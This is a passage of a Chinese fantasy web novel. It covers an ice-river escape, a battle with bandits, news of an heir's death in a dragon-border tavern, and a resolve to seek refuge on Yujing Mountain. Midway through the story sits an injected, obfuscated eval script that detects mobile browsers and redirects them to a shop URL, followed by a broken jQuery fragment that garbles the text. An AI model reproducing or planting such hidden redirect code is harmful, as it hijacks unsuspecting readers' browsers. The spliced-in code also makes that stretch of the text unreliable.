休整完毕,再次上路。有了"龙族领地"这个目标,连清音的唠叨都似乎变得顺耳了些。她开始畅想龙族领地会不会有吃不尽的仙果灵草,会不会有漂亮的蛟人织的蛟绡纱,甚至开始担心自己的鹿形态会不会被龙族当成食物……
林疏星依旧沉默寡言,他在复杂的山势中穿梭,巧妙地避开一些天然形成的险地和可能潜伏危险的区域,显示出对北岳地形极为了解。祝君竹不禁再次对他的身份产生了好奇,一个普通的隐士,怎会对边境地形和龙族事务如此熟悉?
他们在风雪中跋涉了数日。期间又遭遇了些许麻烦,总算都有惊无险地度过。
祝君竹的腿伤在清音不时提供的草药和林疏星偶尔渡过的温和灵力滋养下,恢复得极快,连林疏星都暗自惊讶于她这具身体的自愈能力。几天后,她已经可以勉强自己行走一段距离,大大减轻了林疏星的负担。这也让她也开始确信,自己这具身体确实变得不同寻常。从高空砸穿了人家的屋顶竟然没死,腿骨骨裂还是被庞廉仁那个渣男抛尸时扔下山崖撞的。这已经相当的超常理了。
这一日,风雪渐歇,久违的阳光穿透云层,洒在茫茫雪原上。他们终于走出了北岳山脉最崎岖的核心区域,前方的地势逐渐平缓,隐约能看到极远处有一条蜿蜒的、在阳光下闪烁着碎钻般光芒的冰封大河。河东岸,一座高峰直插云霄,似一柄出窍的利剑,问指苍穹。
"那是‘寒渊江’的下游,那座高峰即为玉京山。"林疏星指着那条冰河和山峰说道,"顺着江岸往东南走,就能抵达仙朝天极州边境重镇‘赤磷港’,那里有通往龙族领地的官方口岸。不过,我们不能走那里。"
"为什么?"清音问,"有口岸不是更方便吗?"
"赤磷港守军鱼龙混杂,难保没有敌人的眼线。"林疏星解释道,"我们需绕道,从江面狭窄处偷偷渡江,直接进入龙族实际控制的区域。"
"偷渡啊……"清音摸了摸下巴,眼睛亮晶晶的,"听起来还挺刺激的!"
祝君竹则想得更多:"江面冰封,能承受住我们走过去吗?而且,龙族那边……会允许我们这样非法入境?"
"非法入境?姑娘措辞倒是有趣的紧。此时是深冬,寒渊江冰层厚达数丈,行走无碍。"林疏星道,"至于龙族……他们对于从仙朝这边‘溜过去’的偷渡者,只要不闹事,通常睁一只眼闭一只眼。毕竟,能成功偷渡过去的,多半也不是寻常百姓,大多都是修行者带着些稀罕货物过去兜售的,少了过境缴纳的税款,他们也能得些好处,又乐得看仙朝的笑话。"
计划已定,三人便沿着寒渊江岸,在齐膝深的雪中艰难东行。目标是寻找一处冰面相对坚固、且对岸龙族巡逻较少的地段。
“等等”祝君竹忽然想到个奇怪的问题,“我初来乍到,稀里糊涂的跟着你们跑路跑了这么久,我都不知道我们为什么跑,敌人是谁也不清楚。为什么要杀我们也不知道。”
“对哎!”清音做了个恍然大悟的表情。“他们为什么要追杀我们啊?哎……!那位林老兄,你脑子灵光,你说说?该不是你欠人家巨款在荒山野岭躲债主的吧?”
林疏星听了险些栽倒在雪地里,心想“我?欠别人钱?还躲债?你这丫头真是瞧扁了我!也就是江浅月那样的悍妇才能有这么粗俗不堪的使唤丫头!”林疏星嘴角微微上扬,但马上就又严肃了下来。这事他早就想过。“清音用假令牌出关被发觉,理应捕捉审问。玄影监的潜龙卫即发现了她,却放她出了关,或许认为她是敌国细作,一路追踪细查也倒合常理。但那夜我布阵时林中飞走的夜影枭,分明就是玄影监暗传消息的秘法。只是那枭未向南回仙朝,却向北方苏罗雪山大营方向飞去。仙朝的潜龙卫发现我的行踪,却通知了苏罗。这便只有一个可能,玄影监中有人私通苏罗!后面怕是还有不少苏罗人在满山寻我们的踪迹,不过是料想不到我们向东走罢了。不知这幕后通敌之人与当日诱我出关,勾结苏罗人害我的,是不是同伙呢?勾结苏罗我早已料到,但连玄影监都牵扯其中,是我怎么也没想到的!”
“喂喂喂!林老兄!你不说话该不会是被我说中了罢?”清音阴阳怪气。
“咳咳!”林疏星尴尬的咳嗽了两声,“我并无债务,那些人怕是清音姑娘引来的。”
他心道“人是你引来的,这的确不假。至于他们要杀的人是谁,却不好说。”
清音一时语塞,她想到定岳王的冤案,自己若是被发现是王爷家的婢女,这些人真就有可能是来杀她的。当然,她还想到她在小屋前演的那一出与小姐悲泣相认的大戏。江浅月不知为何改了容颜,本是不暴露身份的完美伪装。若是被她那场相认的戏码给暴露了,被潜龙卫追杀更是必然的。想到这些,清音不敢搭话,哼了一声,跟在祝君竹身后再不敢聒噪。
又走了大半日,眼看日头偏西,他们终于找到了一处理想地点。这里江面收窄,对岸是陡峭的悬崖,不易巡查。冰面看起来光滑如镜,在夕阳下泛着金红色的光。
"就是这里了。"林疏星仔细观察了一番后说道,"趁天黑前渡江,到了对岸,找个地方隐蔽起来。"
然而,就在他们准备踏上冰面时,清音忽然抽了抽鼻子,脸上露出一丝疑惑:"咦?奇怪……"
"怎么了?"祝君竹问。
"我好像……闻到一股怪味……"清音皱着眉,努力分辨着风中传来的微弱气息,“臭味,海腥味。”
就在此时,一阵急促的马蹄声和喧哗声从他们来的方向传来!只见远处雪尘扬起,一队约莫十余人、穿着混杂皮甲和棉袍、看起来像是边境佣兵或土匪模样的人,正骑着一种耐寒的矮脚马,朝着江边疾驰而来!为首一人,目光凶狠,手中提着一把鬼头大刀,远远就锁定了他们三人。
"妈的!总算让老子追上了!两女一男,就是他们!别让跑了!"那匪首大声吆喝着,加速冲来。
"是‘雪狼帮’的人!"清音脸色一变,"赤磷港附近的一伙流寇,专门打劫过往商旅和落单行人!他们怎么会追到这里来?"
林疏星眼神一冷。"怕不是巧合!"他瞬间想到“这雪狼帮与苏罗素有往来。是有人故意将他们的行踪泄露给了这些亡命之徒,借刀杀人!”
"没时间犹豫了!"林疏星当机立断,"清音,你护着祝姑娘先过江!我断后!"
"好!"清音也知道情况紧急,一把拉住祝君竹的手,"小姐,我们走!"
两人踉跄着踏上光滑的冰面。祝君竹腿伤初愈,在冰上行走十分艰难,几乎全靠清音连拉带拽。
林疏星则转身面对疾驰而来的马队,缓缓拔出了长剑。夕阳抚面,影子在雪地上拉得很长,突兀而决绝。
雪狼帮的马队转眼即至,匪徒们挥舞着兵器,发出怪叫,如同嗅到血腥味的饿狼,扑向拦在江边的林疏星。
江风凛冽,吹动着林疏星的青衫和发丝。他深吸一口气,眼中再无平日的淡漠,只剩下冰冷的战意。
冰面光滑如镜,映着天际最后一抹残阳,红得似血。祝君竹腿伤初愈,在冰上几乎寸步难行,全靠清音半扶半抱,两人踉跄着向对岸挪动。每一步都如同踩在刀刃上,冰冷刺骨,更是心惊胆战。
身后,兵刃交击之声、灵力碰撞的爆鸣、马匹嘶鸣与匪徒的怒吼惨叫声已然响成一片。祝君竹忍不住回头,只见林疏星那青灰色的身影在十余名凶悍匪徒的围攻中,周身弥漫着一层淡淡的、仿佛引动了周天星辰之力的微光。他的身形飘忽,剑指划动间,不见华丽光影,却引动周遭寒气,凝聚成无形壁垒或锐利冰锥,精准地格挡、反击。匪徒的刀锋往往在离他寸许之地便被无形之力荡开,而他的反击却总能找到最刁钻的角度,或封禁经脉,或冻结肢体,让敌人瞬间失去战力。
“小姐别回头!快走!”清音焦急催促,她能感觉到祝君竹身体的僵硬,“林公子在为我们争取时间!”
祝君竹咬紧牙关,强迫自己转回头。然而,雪狼帮匪首也看出了关键。他怒吼一声,亲自带着四五名心腹,策马绕过战团,马蹄踏碎冰屑,带着狞恶的气势直扑过来!
“你们,先杀那个男人!你们几个拦住她们!那个女的要活的!长得可真带劲!”匪首脸上带着邪淫的笑容说道。
清音拔短刺在手,一边拉着祝君竹狂奔,一边运起独门五音法诀,那短刺泛起音波般的涟漪,准备拼死一搏。只见狰狞的马刀快速逼近,死亡的阴影瞬间笼罩。
在这命悬一线之际!祝君竹却瞟到了被匪徒围在中央苦战的林疏星。他本是修为不低,但背着祝君竹赶路耗费巨大,早已体力不支。祝君竹眼见他在战团中险象连连,焦急万分。只见林疏星一个躲闪不及,左肩血染青衫。那匪徒们兴奋的吼叫。
祝君竹瞳孔骤缩,愤怒与恐惧交织翻腾,她只觉得一股难以言喻的灼热与冰寒交织的洪流,猛地从她气海深处炸开!
“是那两个老妖怪!”。她惊觉,那并非她所能控制,而是极致的愤怒时,体内那两股沉寂妖力的本能反击!
“轰——!!”
没有预兆,一股肉眼可见的、红蓝交织的狂暴气浪再次以祝君竹为中心,猛地向四周扩散开来!气浪过处,冰面发出不堪重负的“咔嚓”脆响,裂开无数蛛网般的纹路!
那几名冲在最前面的匪徒连同他们的马匹,如同被无形的巨锤正面轰中,连人带马瞬间倒飞出去,人在空中便已筋断骨折,鲜血狂喷,重重砸在远处的冰面上,生死不知。匪首修为稍高,惊骇之下全力运转护体灵力,却也被这蛮横霸道的力量震得气血翻腾,从马背上跌落,狼狈不堪。就连稍远一些、正在与林疏星缠斗的匪徒,也被这股突如其来的冲击波掀得人仰马翻,阵型大乱。清音虽然被祝君竹下意识地护在身后,仍被逸散的气浪推得踉跄后退,一屁股坐在冰面上,目瞪口呆。
林疏星挥袖荡开波及而来的残余力量,看向祝君竹的目光充满了前所未有的震惊。这股力量……远超他的预估!如此狂暴,绝非寻常!
而此时的祝君竹,在力量爆发的瞬间,只觉得脑海中“嗡”的一声,仿佛有什么枷锁被强行冲开了一角,无数混乱的、属于两位大妖的战斗本能与零碎记忆碎片汹涌而至,与她自身的意识疯狂冲撞。极致的痛苦让她眼前一黑,喉头一甜,一丝鲜血从嘴角溢出,身体摇摇欲坠。
“小姐!”清音慌忙爬起扶住她。
林疏星瞬间回神,知道此刻正是脱离战场的绝佳时机。他不再保留,剑指凌空一划,一道凝练如实质的星辰光束骤然射出,瞬间洞穿了试图爬起的匪首肩胛,将其牢牢钉在冰面上。随即他身形如电,掠至祝君竹和清音身边,一手揽住几乎虚脱的祝君竹,低喝一声:“走!”
他周身灵力澎湃,不再掩饰,带着两人化作一道流光,瞬息间便跨越了剩余的冰面,冲入了对岸悬崖下的阴影之中。
身后,只留下雪狼帮匪徒一片狼藉的惨状和惊怒交加的咒骂。
一踏入悬崖下的阴影,林疏星快速扫了一遍眼前的绝壁。即刻便发现了一个被枯藤遮掩的山洞。他无暇犹豫,全力催动灵力,迅速带着二人隐匿其中,隔绝了视线。
山洞内,清音急忙取出夜明珠,铺好兽皮,看着脸色苍白、嘴角带血、眼神有些涣散的祝君竹,急得快要哭出来:“小姐!小姐您怎么样?别吓我啊!”
祝君竹剧烈地喘息着,体内两股妖力在短暂爆发后再次陷入沉寂,但那种仿佛灵魂被撕裂的痛楚和庞大的信息冲击余波未平。她摆了摆手,示意自己还撑得住,却连一句话也说不出来。
林疏星蹲下身,手掌泛起温和的白色星光,再次轻轻放在祝君竹的气海上。一股清凉醇和、带着安抚与滋养意味的灵力缓缓渡入,帮助她平复翻腾的灵力和混乱的识海。
“她强行引动了远超自身掌控的力量,神魂受震,需要静养。”林疏星沉声道,眉头紧锁。祝君竹体内潜藏的秘密和危险性,再次超出了他的预料。
清音连忙点头,小心翼翼地喂祝君竹喝了些水。嘴里嘟囔着:“你‘摸’了我们小姐两次了!”
林疏星懒得搭理她。
祝君竹的痛苦在林疏星光系灵力的滋养下逐渐减轻,涣散的眼神重新聚焦。她回忆起刚才那失控的力量爆发,以及脑海中闪过的蛮横冲击片段,心中涌起一股难以言喻的后怕与茫然。这力量……既能救她,也可能毁了她。
“我……我没想……你的伤……”她声音沙哑地试图解释。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998670|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“本能反应,非你之过。我的小伤,也不必在意。先调息,恢复要紧。”
林疏星看到她眼中的关切,转身打断她,嘴角不自觉的略有上扬。
祝君竹听不出喜怒,不再多说,依言闭目,尝试按照这段时间隐约感知到的、身体自发的能量流转方式,引导着林疏星渡入的温和灵力,慢慢抚平体内的创伤。这一次的经历,让她更深刻地意识到自己身体的异常,也让她对掌控这股力量产生了更迫切的需求。不能总是被动等待危机触发,她必须尝试去理解,去掌控。
一夜在沉默的调息和警惕中过去。祝君竹的恢复速度再次让林疏星暗自心惊,到天明时,她的脸色已恢复红润,只是精神还有些疲惫。
林疏星已经从芥子袋中取出衣物换去了带血的青衫。
清音忽然想起什么,怯生生的问林疏星道:“林公子,你已经是第四境的强者了吗?”
林疏星摇头:“说来惭愧,我虽自幼修行,但生性喜文轻武,进境颇慢,一直止步于融界境第三阶,十数年来未有突破。”
清音低头思索:“不对啊,你昨天可是化作一股流光,飞着把我们带到这来的。我记得只有到了第四境的强者才能有这种本事。”
林疏星点头:“不错,确实如此。我昨天施展的并非飞行的功法,而是我自制的一种阵法。这阵法可以以灵符为媒介,在需要时以自身灵力为燃料,短暂的使自己身体变轻获得飞行的能力。”
清音恍然大悟:“我说呢!就知道你没那么厉害,当年我们小姐也才是刚突破第三境,你怎么可能第四境呢。”语气中竟隐隐有鄙夷之感。
林疏星气不打一处来,他心想我自诩看破世情,超脱红尘之外。心境如寒潭池水波澜不惊,今天竟被你这个小鹿妖挤兑的欲言又止又不甘心。是了,当年也是这样,这小丫头别看脑子不好使,嘴却缺德的很。
最终林疏星还是叹了一口气,平淡的说道:“这山洞也不可久留,收拾一下,走罢。”
祝君竹看着眼前的两人,却觉得似曾相识。
准备停当,三人离开山洞,沿着龙族控制的江岸向东南行进。环境明显与仙朝那边不同,空气湿润,带着海腥味,植被也更茂盛。
途中,他们遇到了几个身影。那些“人”身形与人类相似,但皮肤覆盖着细密的、颜色各异的鳞片,在阳光下闪烁着微弱光泽。他们的眼睛是明显的竖瞳,耳朵尖细,有时开口交谈会露出尖利的牙齿,手指间似乎有轻微的蹼状连接。
“林公子,那些是……?”祝君竹好奇地低声询问。
“蛟人。”林疏星解释道,“并非真龙,而是水族修行有成的生灵。传闻蛇修五百年为蟒,再五百年为蚺,又五百年方能为蛟。蛟需修行千年,经历雷劫,方能蜕变为龙。龙再修行千年可为角龙,又千年为应龙。这些蛟人,算是龙族的一系旁支。他们多是未能完全蜕去旧形,在龙族领地生活,承担各类职司。”
清音在一旁插嘴:“哦!就是还没修到家的大长虫嘛!”她立刻收到林疏星一记警告的眼神,连忙缩了缩脖子。
祝君竹却听得心生向往,这世界的生命形态和修行之路如此奇妙。同时,她也迫切的想要尽快提升自己对这个世界和自身力量的认知,这样才能在此立足。
忽然她想到了些什么,问道:“那他们和妖族的蚺妖是什么关系?”
林疏星颇具深意的望了她一眼答道:“修行之路的选择不同罢了。蚺在龙族人看来是低下的种族,而龙族却是是高贵无比的血脉。故此有蚺妖为了高贵的种族而牺牲修为,蜕变为蛟,蜕变之后会实力大损。而有些蚺妖则对血脉种族之说不以为意,觉得不值得为种族偏见而蜕变损伤实力,亦可以蚺妖之躯修至大成。”
祝君竹点头称谢,心说:“看来这位升卿君倒是个不拘世俗的。”
走了大半日,他们抵达了一个小小的边境聚集地。各种奇形怪状的生灵在此交易,其中以蛟人和来自仙朝的商人为主。甚至还有一些奇形怪状、不知来自何处的精怪。空气中混杂着各种气味,酒味、鱼腥、香料、草药,还有一丝不易察觉的、属于强大生灵的威压。
“这里应该是龙族边境的一个黑市或者聚集点,”林疏星低声道,“我们进去打听一下消息,顺便补充些物资。记住,谨言慎行,这里龙蛇混杂。”
三人收敛气息,走进了这个小小的聚集地。他们的组合虽然有些奇特(一个气质不凡的青衫男子,一个容貌清丽却穿着不合身粗布衣的女子,一个叽叽喳喳的少女),但在这种地方,倒也并不算太引人注目。
清音好奇地东张西望,看到卖漂亮贝壳首饰的摊子就想凑过去,被林疏星一个眼神制止了。祝君竹则仔细观察着这里的人和物,试图更快地融入和了解这个世界。
林疏星目标明确,带着她们来到一个看起来像是酒馆兼情报交换处的简陋木屋前。里面人声嘈杂,几个蛟人正在大声用带着嘶嘶声的语言交谈,一些仙朝商人模样的则在角落里低声商量着什么。
林疏星找了个靠窗的僻静位置坐下,点了三碗这里最常见的、用某种海藻和鱼干熬制的浓汤。清音看着那绿油油、散发着腥气的汤,小脸皱成了一团,小声嘀咕:“这……这能喝吗?”
祝君竹倒是觉得这味道还能接受,至少比饿肚子强。她小口喝着汤,耳朵却竖起来,捕捉着周围的谈话声。
大部分交谈都是关于货物价格、航线天气或者一些无关紧要的琐事。直到旁边一桌几个蛟人的谈话,引起了他们的注意。
一个看起来年长些的蛟人,灌了一口浑浊的酒液,叹了口气:“唉,说起来,前些日子族里还传来消息,说是那位在咱们这儿养伤好些年的仙朝贵人,终究还是没挺过去,可惜了……”
年长蛟人谨慎地压低嗓音,年轻的那个却已按捺不住,带着某种秘闻传开的轻快与唏嘘接口:
“还能有谁?定岳王府那位世子,江倾川。听说伤得太重,连龙宫的秘法都续不上那口气,上月……人就已经没了。”
“噤声!”年长者急忙制止,警惕地环顾四周,“此事不可妄议,牵扯仙朝贵胄,干系重大……”
后面的絮语,模糊成嗡嗡的背景杂音。
祝君竹捧着木碗的手指,无意识地收紧了一瞬。
江倾川。
定岳王世子。
她的……哥哥。
伤重不治,魂归星海。
这几个词毫无预兆地凿进耳膜,没有带来预想中劈开混沌的剧痛或狂澜,反而像一粒冰碛坠入深潭,只激起一圈沉默而冰冷的涟漪。那个名字对她而言,原本只是一个空洞的代号,一个由旁人构建起的、与她相关的模糊符号——清音口中温厚的“兄长”,林疏星布局里潜在的“庇护者”。没有记忆为骨肉,何来亲情作血脉?
可此刻,一种极其陌生的空茫感,却悄无声息地漫了上来。
那感觉并非尖锐的悲伤,更像站在一条本以为通往某处的长径入口,却忽然被告知,此路已绝,前方唯有断崖与迷雾。一点或许能照亮身世迷障的微光,尚未触及便已永久熄灭。她莫名想起清音所说定岳王“盼得团圆”的话,那份子嗣安康的殷切,如今看来,竟像一句飘散在风里、无人接收的偈语,徒留一丝命运弄人的苍凉余韵。
身旁传来极力压抑的、细微的抽气声。祝君竹侧眸,看见清音死死咬住了下唇,眼圈以肉眼可见的速度变红,大颗的泪珠毫无征兆地滚落,她慌乱地抬手去擦,眼泪却越擦越多,肩膀难以自抑地轻颤起来。
另一侧,林疏星握着茶杯的指节微微泛白,青瓷杯壁映着他骤然沉静下去的眉眼。他缓缓垂下视线,浓密的睫毛掩去了眸底瞬息掠过的惊澜与复杂。江倾川……竟已身故?定岳王算出了朝堂风波,却难料此等变数。万般绸缪,终究敌不过生死无常。他费尽心思想要保住血脉,在冰冷的死亡面前,忽然显出一种近乎荒谬的苍白。他唇角几不可察地牵动了一下,似有一缕极淡的嘲意,不知是对天意,还是对那永无止息的人心之争。
小小的酒馆里,喧嚣依旧。然而对于刚刚历经千辛万苦、满怀希望抵达此地的三人来说,周围的一切色彩和声音仿佛都黯淡了下来。
希望,如同阳光下脆弱的泡沫,在触手可及的瞬间,碎裂无形,只留下冰冷的绝望和更深的迷茫。
祝君竹缓缓放下木碗,碗中的海藻汤微微晃动。她垂眸看着汤面上自己的倒影,那张既熟悉又陌生的脸。
理性告诉她,这本就是一个素未谋面之人的死讯,不必伤怀。但内心深处,却有一丝莫名的失落——为那个可能存在的归宿,为这份刚刚得知就永远失去的亲缘联系。此时祝君竹的脑中缓缓映出一张素未谋面的脸庞,身材高大,英武不凡,银盔亮甲,白马长戟。莫名的生出一股熟悉感来。
林疏星沉默地看着她,见她神色平静,唯有指尖微微发白,便知她心中并不如表面这般淡然。
"走吧。先找个地方落脚。"许久,祝君竹轻声开口,声音平稳得出奇,"既然此地已无牵挂,我们就该想想下一步了。"
阳光从酒馆的窗棂间洒落,在她清秀的侧脸投下淡淡的光影。希望破灭,前路未卜。祝君竹想,她既然能从现世的深渊中爬出,能在那场诡异的雷劫中存活。那尝试驾驭体内狂暴的力量,在这方世界寻一片立足之地这个愿望,就绝不会止步于此!
龙域已至,寻踪却断。前路,似乎又只剩下了一片令人窒息的黑暗。
6. 第五回 玉京初窥造化秘
酒馆的喧嚣声仿佛被一层无形的薄膜隔绝。祝君竹站起身,粗布衣袍下摆微微晃动,她目光平静地扫过还在啜泣的清音和沉默不语的林疏星。
“走吧。”她的声音不高,却带着一种不容置疑的坚定。
清音慌忙用袖子擦了擦眼泪,哽咽着应了一声。
林疏星深深看了祝君竹一眼,见她神色虽淡,眼底却已不见方才那一瞬的慌乱与迷茫,取而代之的是一种沉淀下来的冷静。他不再多言,起身结账,带着二人离开了这间弥漫着海腥与失落气息的酒馆。
聚集地不大,他们很快在边缘处找到了一间由蛟人经营的、看起来还算干净的简陋旅舍。说是旅舍,其实就是几间用巨大贝壳和海藻混合泥土垒砌的小屋,里面陈设简单,只有铺着干燥水草的床铺和一张石桌。
清音一进门就又开始忙碌,从芥子袋里掏出自己的兽皮铺盖替换掉店里的水草垫,嘴里还嘟囔着:“这地方也太简陋了,连张像样的床都没有……咱们的榻又放不下。小姐您委屈一下,等我们安定下来,我一定给您找最好的……”
祝君竹无奈地笑了笑,拍了拍清音的肩膀:“已经很好了,至少不用露宿风雪。”她走到窗边,推开用薄薄云母片遮挡的窗户,望着外面逐渐被暮色笼罩的奇异集市。蛟人摊位上的发光珍珠和奇异珊瑚在昏暗中散发出柔和的光芒,映照着来往生灵形态各异的身影。
林疏星关好门,布下了一个简单的隔音和预警的阵法,这才开口:“江倾川之事,未必没有转圜余地。蛟人之间的传闻,未必全然可信。”他这话说得平静,更像是一种理性的分析,而非安慰。
祝君竹转过身,背靠着窗沿,月光石的光晕勾勒出她清晰的侧脸轮廓。“我知道。”她淡淡道,深吸了一口带着海腥与酒气的浑浊空气。“即便消息为真,悲伤也无济于事。我们现在需要考虑的是现实问题——失去了原本预期的庇护,接下来该如何行事?”
她的理智让林疏星微微颔首。这位曾经悍妇的心性,确实非同一般。
“不错,江倾川的死讯若不假,便意味着定岳王留下的“后路”已然断绝。情绪化的沉溺于事无补。龙族地域广阔,规矩也与仙朝不同。”林疏星走到桌边,指尖凝聚灵力,在粗糙的桌面上勾勒出简单的线条,“我们目前所在,只是最外围的聚集点。真正龙族的核心区域,在更深处的海域和岛屿。没有引荐,我们很难进入,即便进入,也寸步难行。”
“那怎么办?”清音凑过来,忧心忡忡,“难道我们要一直待在这种小破地方?这里连个像样的糕点铺子都没有!”
“此地不宜久留。”祝君竹的声音虽轻,却带着一种不容置疑的决断,“我们在此消息闭塞,身份敏感,多留一刻便多一分危险。如果真如林公子所说,清音引来的杀手一定会找上门来。”
祝君竹没有理会清音的抱怨,目光落在林疏星勾勒的简易地图上:“林公子似乎对龙族颇为了解?”
林疏星指尖微顿,随即自然地说道:“早年游历时,略有耳闻。”
他目光沉凝,指尖无意识地在粗糙的木桌上划过。一个个可能的目的地在他脑中飞速闪过,又被逐一排除。回仙朝是自投罗网;留在龙族边境,迟早会被发现行踪;继续深入龙族腹地?没有官方行文甚至可能被当成细作处理。就在思绪几乎陷入僵局时,一个被他忽略许久的念头骤然闪现——玉京山!那座巍峨耸立、直插云霄的须尘界第一高山,不就在寒渊江边上吗?他猛地抬起头,目光锐利地看向祝君竹,一个大胆而冒险的计划瞬间成型。
“我们去玉京山。”他沉声道。
“玉京山?”清音眨巴着还带着泪花的眼睛,“就是那个传说中进不去出不来的天极州禁地?林老兄,你是觉得被追杀不够刺激,打算带我们去体验一下绝境逢生吗?”
祝君竹也蹙起眉头。她对玉京山的了解仅限于林疏星之前的只言片语,知道那是一座神秘而危险的禁地。去那里,听起来确实不像是个好主意。
林疏星同样屏蔽了清音的吐槽,目光紧紧锁住祝君竹:“祝姑娘,你……可还记得,你……我是说那个悍……呃……江浅月曾拜在玉京山里那位隐世大能门下学艺?”祝君竹茫然地摇了摇头。江浅月的记忆对她而言,依旧是一片混沌的迷雾,只有零星碎片,不成体系。
林疏星并不意外,继续解释道:“据我所知,令师‘云渺真人’乃是玉京山中隐居的强者,性情孤高,不理俗务,但其道法通玄,修为深不可测。最重要的是,玉京山自有上古禁制,非得其认可者,外人难以踏入核心区域。仙朝势力,包括玄影监,其触角绝难伸入其中。”
他顿了顿,语气带着一丝不确定的希冀:“若我们能找到云渺真人,或许……能得他庇护。至少,玉京山本身,就是一个绝佳的藏身之所。”
这个提议让祝君竹心中一动。一个连仙朝都难以干涉的地方,一个可能存在的、强大的师傅……这确实是一条值得考虑的退路。但风险同样巨大——那位云渺真人的态度未知,玉京山本身的危险更是传闻甚多。
“可是,”祝君竹指出关键问题,“连仙朝势力都进不去,我们又如何能进去?更别提找到那位真人了。”
林疏星的目光落在祝君竹身上,带着一种奇特的意味:“这就是关键所在。玉京山的禁制,与血脉、神魂印记有关。你既是云渺真人的亲传弟子,身上必然留有相关的印记或因果。换言之,你定然进的去。你进去了便能带领我们穿过禁制,进入玉京山。”
清音立刻来了精神,抓住祝君竹的胳膊:“对啊小姐!您可是在玉京山学过艺的!说不定那山认您不认别人呢!咱们就去试试嘛!总比在这里提心吊胆强!”她压低声音,鬼鬼祟祟地瞟了林疏星一眼,“某些人不是说自己没欠债吗?那定是仇家满天下,要不干嘛跟着咱们跑?我看他巴不得找个别人进不去的地儿猫着呢!小姐您高低也得等他磕头求您的时候再答应带她进去!”
林疏星自动过滤了清音的后半段话,对祝君竹正色道:“此计确有风险。其一,玉京山本身危机四伏;其二,据说云渺真人行事乖张,态度难测,未必肯收留我们;其三……”他略微迟疑,还是说了出来,“我身份有些特殊,若被真人知晓,恐生变故。”
他话中的顾虑已然明显。一位隐居世外的大能,对仙朝内部争斗,尤其是涉及到他这等敏感身份,会持何种立场,谁也说不准。
祝君竹沉默片刻,大脑飞速权衡。留在龙族边境,如同无根浮萍,随时可能被浪涛吞没。前往玉京山,虽前途未卜,但至少有一线生机,一个明确的目标,以及……一个可能解开她身上谜团的机会。她体内的力量,玉京山的秘法,还有那位素未谋面的师傅,这一切之间,或许存在着某种联系。
“我们没有更好的选择了,不是吗?”祝君竹最终抬起头,眼神坚定,“与其在此坐以待毙,不如冒险一搏。就去玉京山。”
决定已下,三人不再耽搁,采购了一些必要的补给——主要是耐储存的食物、清水,以及一些基础的疗伤和避瘴药物与一份由蛟人绘制的、极其简陋的周边区域兽皮地图。林疏星用从潜龙司暗桩那里得来的灵石付账,动作麻利,显然对这类事务并不陌生。祝君竹却盯着一旁的小屋许久。
购置停当,三人打算休息一晚,养足精神。
此时正值日落时分,祝君竹独自坐在海边的礁石上。想起那个被“抛尸”的夜晚,竟对大海产生了几分惧意。林疏星见祝君竹独自外出,思忖着边境之地,鱼龙混杂,恐有危险,便默默跟在后面,坐在距离祝君竹约么几十步远的地方。清音见到祝君竹出去,本想跟着,却见林疏星“鬼鬼祟祟”(她看来就是鬼鬼祟祟)的跟踪小姐,便也暗中跟上,随着他二人来到了海边。见他二人分别远远坐下,顿觉无趣,转身回去逛市集去了。
祝君竹心中反复想着近日来的事情,这一切实在是太离奇了。莫名其妙的被渣男抛尸,莫名其妙的被两个老妖怪弄到了这个未知的世界,又似乎莫名其妙的卷入了政治纷争的追杀。清音口中这个世界的亲人以及她——或者说江浅月的过去,这些事,显然并非虚言。对她来说,信息量太大了。她来不及仔细思索,便疲于仓惶逃命。她需要静下来,需要独处,来平复心情。
林疏星显然想到她需要独处,所以他并未前去打扰,只是远远陪着她。而他自己,也有许多事情需要想清楚。二人无言各自看着各自的大海。
良久,天色完全暗了下来。祝君竹站起身走到林疏星边上再次坐下。
“林公子,谢谢你陪我。”
“无妨,边境处鱼龙混杂之地。独自行动,怕是不妥。”
“嗯,是我考虑不周了。” 祝君竹点了点头。
“玉京山之路可能危机重重,你为何信我的判断?”林疏星问。
“说实话,我也不知道。但是我总觉得你似曾相识,对你有一种莫名的信赖。我倒是想问你,为何隐姓埋名隐居在那荒山野岭。”
他沉默良久,望着远处的海面轻声道:“虽是迫不得已而为之,但闲云野鹤的生活,倒也适合我的性子。”
祝君竹不再发问,林疏星也不再多言。
许久,林疏星似乎长舒了一口气,祝君竹却深吸了一口气。
次日清晨,三人便趁着晨曦离开聚集地,向着玉京山而行。脚下的土地逐渐从湿润的滩涂变为坚实的丘陵,植被越发茂密苍翠,与北岳的冰天雪地截然不同。空气中灵气氤氲,呼吸间令人心旷神怡。
“林公子,若是我们在玉京山得以落脚,之后又该如何呢?”祝君竹忽然发问。
“我也不知,虽然追杀者的来路我已大致了然。但先需设法确保我们的安全,而后才能制定反击的策略。当务之急,是寻得庇护,同时提升我们自身的实力和筹码。祝姑娘,你体内力量虽强,却不受控制,犹如稚子持利刃,危险异常。必须设法掌控,一则可御强敌,二则以免反噬自身。”林疏星缓缓的答道。
提到体内的力量,祝君竹眼神微滞。冰面上那失控的爆发记忆犹新,那两股仿佛拥有自身意识的大妖力量,既是护身符,也是悬顶之剑。
“林公子对着力量控制有何建议?”她直接问道。
林疏星沉吟片刻:“恕我直言,祝姑娘体内的力量怕是妖力,但你身上却无妖气,怪的紧。加之我对妖族修炼之法了解不深,实在不敢妄言。不过万法归一,其核心无非是对力量的理解和运用。我想,若是令师云渺真人,定有化解之法。我想去玉京山,也有这一层意思。你若是能将妖力炼化为己用,那些刺杀的喽啰,便都不再是威胁了。”
三人边聊边走。祝君竹在清音的带携下,凌空纵跃,竟然也不吃力。玉京山的轮廓在远处愈发清晰。那并非仅仅是一座高山,而是一片连绵起伏、仿佛接天连地的巨大山脉群,主峰隐没在缥缈的云海之中,山体呈现出一种奇异的青黑之色,隐约有流光闪烁,散发出古老而威严的气息。
